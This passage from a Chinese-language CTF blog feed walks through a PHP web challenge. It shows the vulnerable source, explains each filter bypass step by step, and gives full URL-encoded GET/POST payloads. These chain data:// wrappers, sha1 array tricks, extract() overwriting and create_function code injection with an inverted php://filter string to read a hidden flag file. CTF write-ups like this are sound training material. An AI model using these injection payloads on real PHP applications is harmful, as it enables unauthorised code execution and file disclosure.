&amp;&amp; $_GET[&#x27;debu&#x27;] !== &#x27;aqua_is_cute&#x27;) &#123; </span><br><span class="line">        $file = $_GET[&quot;file&quot;]; </span><br><span class="line">        echo &quot;Neeeeee! Good Job!&lt;br&gt;&quot;;</span><br><span class="line">    &#125; </span><br><span class="line">&#125; else die(&#x27;fxck you! What do you want to do ?!&#x27;);</span><br><span class="line"></span><br><span class="line">if($_REQUEST) &#123; </span><br><span class="line">    foreach($_REQUEST as $value) &#123; </span><br><span class="line">        if(preg_match(&#x27;/[a-zA-Z]/i&#x27;, $value))  </span><br><span class="line">            die(&#x27;fxck you! I hate English!&#x27;); </span><br><span class="line">    &#125; </span><br><span class="line">&#125; </span><br><span class="line"></span><br><span class="line">if (file_get_contents($file) !== &#x27;debu_debu_aqua&#x27;)</span><br><span class="line">    die(&quot;Aqua is the cutest five-year-old child in the world! Isn&#x27;t it ?&lt;br&gt;&quot;);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">if ( sha1($shana) === sha1($passwd) &amp;&amp; $shana != $passwd )&#123;</span><br><span class="line">    extract($_GET[&quot;flag&quot;]);</span><br><span class="line">    echo &quot;Very good! you know my password. But what is flag?&lt;br&gt;&quot;;</span><br><span class="line">&#125; else&#123;</span><br><span class="line">    die(&quot;fxck you! you don&#x27;t know my password! And you don&#x27;t know sha1! why you come here!&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">if(preg_match(&#x27;/^[a-z0-9]*$/isD&#x27;, $code) || </span><br><span class="line">preg_match(&#x27;/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\&#123;|\%|x|\&amp;|\$|\*|\||\&lt;|\&quot;|\&#x27;|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i&#x27;, $arg) ) &#123; </span><br><span class="line">    die(&quot;&lt;br /&gt;Neeeeee~! I have disabled all dangerous functions! You can&#x27;t get my flag =w=&quot;); </span><br><span class="line">&#125; else &#123; </span><br><span class="line">    include &quot;flag.php&quot;;</span><br><span class="line">    $code(&#x27;&#x27;, $arg); </span><br><span class="line">&#125; ?&gt;</span><br><span class="line">This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</span><br><span class="line">fxck you! I hate English!</span><br></pre></td></tr></table></figure><h3 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h3><h4 id="SERVER-“QUERY-STRING”"><a href="#SERVER-“QUERY-STRING”" class="headerlink" title="$_SERVER[“QUERY_STRING”]"></a>$_SERVER[“QUERY_STRING”]</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">http://www.xxx.com/index.php?p=222&amp;q=u</span><br><span class="line">$_SERVER[&quot;QUERY_STRING&quot;] = “p=222&amp;q=u”</span><br><span class="line">不能有?shana=&amp;passwd=</span><br></pre></td></tr></table></figure><p>可以url编码绕过，因为<code>$_SERVER[‘QUERY_STRING’]</code>在读取url时并不会对url进行解码，而<code>$_GET[&#39;x&#39;]</code>是会进行url解码的，所以我们要把可能出现在黑名单的字符串进行url编码后再传入</p><h4 id="preg-match"><a href="#preg-match" class="headerlink" title="preg_match"></a>preg_match</h4><p>preg_match(‘&#x2F;^aqua_is_cute$&#x2F;‘, $_GET[‘debu’])要求debu的值满足正则&#x2F;^aqua_is_cute$&#x2F;，^和$用来表示开头和结尾<br>$_GET[‘debu’] !&#x3D;&#x3D; ‘aqua_is_cute’要求debu的值不能强等于’aqua_is_cute’</p><p>在末尾加%0a绕过匹配</p><h4 id="绕过-REQUEST的字母匹配"><a href="#绕过-REQUEST的字母匹配" class="headerlink" title="绕过$_REQUEST的字母匹配"></a>绕过$_REQUEST的字母匹配</h4><p><code>$_REQUEST</code>包括所有以post或者get方式传入的变量，如果含有字母则无法通过，但我们所有的参数构造都离不开字母。<br>这里的绕过方法主要利用<code>$_REQUEST</code>特性，变量post值会优先于get，我们只要在get传入变量后，再用post方式传入数字值进行覆盖即可</p><h4 id="file-get-contents"><a href="#file-get-contents" class="headerlink" title="file_get_contents"></a>file_get_contents</h4><p>这个data协议</p><h4 id="sha1强比较绕过"><a href="#sha1强比较绕过" class="headerlink" title="sha1强比较绕过"></a>sha1强比较绕过</h4><p>数组绕过，或者强碰撞</p><h4 id="create-function-注入"><a href="#create-function-注入" class="headerlink" title="create_function()注入"></a>create_function()注入</h4><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">$afunc = create_function(&#x27;$a, $b&#x27;,&#x27;return ($a+$b);&#x27;);</span><br><span class="line">echo $afunc(1,2);</span><br><span class="line">//输出3</span><br><span class="line">?&gt;</span><br><span class="line">等价于</span><br><span class="line">&lt;?php</span><br><span class="line">function afunc($a,$b)</span><br><span class="line">&#123;</span><br><span class="line">return $a+$b;</span><br><span class="line">&#125;</span><br><span class="line">echo afunc(1,2);</span><br><span class="line">//输出3</span><br><span class="line">?&gt;</span><br><span class="line">注入方式：</span><br><span class="line">$code参数可控，可能会存在代码注入</span><br><span class="line">&lt;?php</span><br><span class="line">$aFunc = create_function(&#x27;$a, $b&#x27;, &#x27;return($a+$b);&#125;eval($_POST[&#x27;cmd&#x27;]);//&#x27;);</span><br><span class="line"></span><br><span class="line">function aFunc($a, $b)</span><br><span class="line">&#123;</span><br><span class="line">return $a+$b;</span><br><span class="line">&#125;</span><br><span class="line">eval($_POST[&#x27;cmd&#x27;]);//&#125;</span><br><span class="line">?&gt;</span><br><span class="line">即$code=&#125;function;//</span><br><span class="line">&#125;闭合前面的，然后写语句，最后//来注释掉后面的内容。</span><br></pre></td></tr></table></figure><p>怎么实际操作呢（坑）</p><p>extract函数是一个关联数组。此函数会将键名当作变量名，值作为变量的值</p><figure class="highlight text"><table><tr><td class="code"><pre><span class="line">extract($_GET[&quot;flag&quot;]);</span><br><span class="line">那我们构造</span><br><span class="line">flag[&#x27;code&#x27;]=&amp;flag[&#x27;arg&#x27;]=</span><br><span class="line">即可将code键名作为变量名，然后值作为变量的值。（个人的分析）</span><br></pre></td></tr></table></figure><h4 id="arg的选择"><a href="#arg的选择" class="headerlink" title="arg的选择"></a>arg的选择</h4><p>由于过滤很严格，黑名单，那么可以试试找替代的函数  <code>get_defined_vars()</code>直接输出所有变量</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">include &quot;flag.php&quot;;，包含了flag.php文件，代表可以使用里面的变量。所以要想办法在不指定变量名称的情况下输出变量的值，可以想到：是否存在一个函数，能输出所有变量的值？刚好get_defined_vars()用来输出所有变量和值。</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后得到了假的flag，真正的flag在rea1fl4g.php</p><p>再看过滤的</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">过滤了include 还能用require</span><br><span class="line">过滤了引号，可以使用那些参数可以不加引号的函数，require()代替require &quot; &quot;</span><br><span class="line">过滤了flag，可以base64编码</span><br><span class="line"></span><br><span class="line">即利用require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php)</span><br><span class="line">但filter被过滤了。用~绕过正则</span><br><span class="line">&lt;?php</span><br><span class="line">echo urlencode(~&#x27;php://filter/read=convert.base64-encode/resource=rea1fl4g.php&#x27;);</span><br><span class="line">得到</span><br><span class="line">%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F</span><br><span class="line">最终</span><br><span class="line">require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))</span><br></pre></td></tr></table></figure><p>payload</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">file=data://text/plain,debu_debu_aqua&amp;debu=aqua_is_cute%oa&amp;shana[]=1&amp;passwd[]=2</span><br><span class="line">%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&amp;%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&amp;%73%68%61%6e%61[]=1&amp;%70%61%73%73%77%64[]=2</span><br><span class="line"></span><br><span class="line">注意%0a、[]、&amp;、=不用url编码，</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">后续的</span><br><span class="line">$code=create_function&amp;arg=&#125;var_dump(get_defined_vars());//</span><br><span class="line">fl%61g[c%6fde]=create_function&amp;fl%61g[%61rg]=&#125;var_dump(get_defined_vars());//</span><br><span class="line">以下</span><br><span class="line">file=data://text/plain,debu_debu_aqua&amp;debu=aqua_is_cute%oa&amp;shana[]=1&amp;passwd[]=2</span><br><span class="line">%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&amp;%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&amp;%73%68%61%6e%61[]=1&amp;%70%61%73%73%77%64[]=2&amp;fl%61g[c%6fde]=create_function&amp;fl%61g[%61rg]=&#125;var_dump(get_defined_vars());//</span><br><span class="line">同时post debu=1&amp;file=1</span><br><span class="line">以下</span><br><span class="line">get:</span><br><span class="line">?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&amp;%66%69%6c%65=%64%61%74%61%3a%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&amp;%73%68%61%6e%61[]=1&amp;%70%61%73%73%77%64[]=2&amp;%66%6c%61%67%5b%61%72%67%5d=&#125;require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&amp;%66%6c%61%67%5b%63%6f%64%65%5d=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e</span><br><span class="line">没urlencode前:</span><br><span class="line">debu=aqua_is_cute%0a&amp;file=data:,debu_debu_aqua&amp;shana[]=1&amp;passwd[]=2&amp;flag[arg%5d=&#125;require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&amp;flag[code]=create_functio%6e</span><br><span class="line"></span><br><span class="line">post:</span><br><span class="line">debu=&amp;file=</span><br></pre></td></tr></table></figure><p>tips：</p><p>注意%0a、[]、&amp;、&#x3D;不用url编码，</p><p>可以写未url的payload，然后再在burp里面url一下，就会清楚方便一点。</p><p>burp发的会没回显，还是得hackbar，因为会url一层吧</p><p><a href="https://blog.csdn.net/weixin_51804748/article/details/121330064">https://blog.csdn.net/weixin_51804748/article/details/121330064</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;F12&lt;/p&gt;
&lt;p&gt;base32解码&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;line&quot;&gt;1nD3x.php&lt;/span&gt;&lt;br&gt;&lt;/pre</summary>
      
    
    
    
    
  </entry>
  
</feed>
